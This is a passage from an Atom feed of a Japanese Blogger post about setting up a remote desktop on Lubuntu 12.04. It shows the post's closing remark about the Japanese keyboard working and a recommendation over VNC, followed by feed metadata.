これで正常に日本語キーボードになり快適なリモートデスクトップ環境が構築できます！&lt;br /&gt;
VNCよりオススメです。&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/1783503287872940220/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2012/07/lubuntu-1204.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/1783503287872940220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/1783503287872940220'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2012/07/lubuntu-1204.html' title='Lubuntu 12.04 で快適なリモートデスクトップ環境を構築する'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>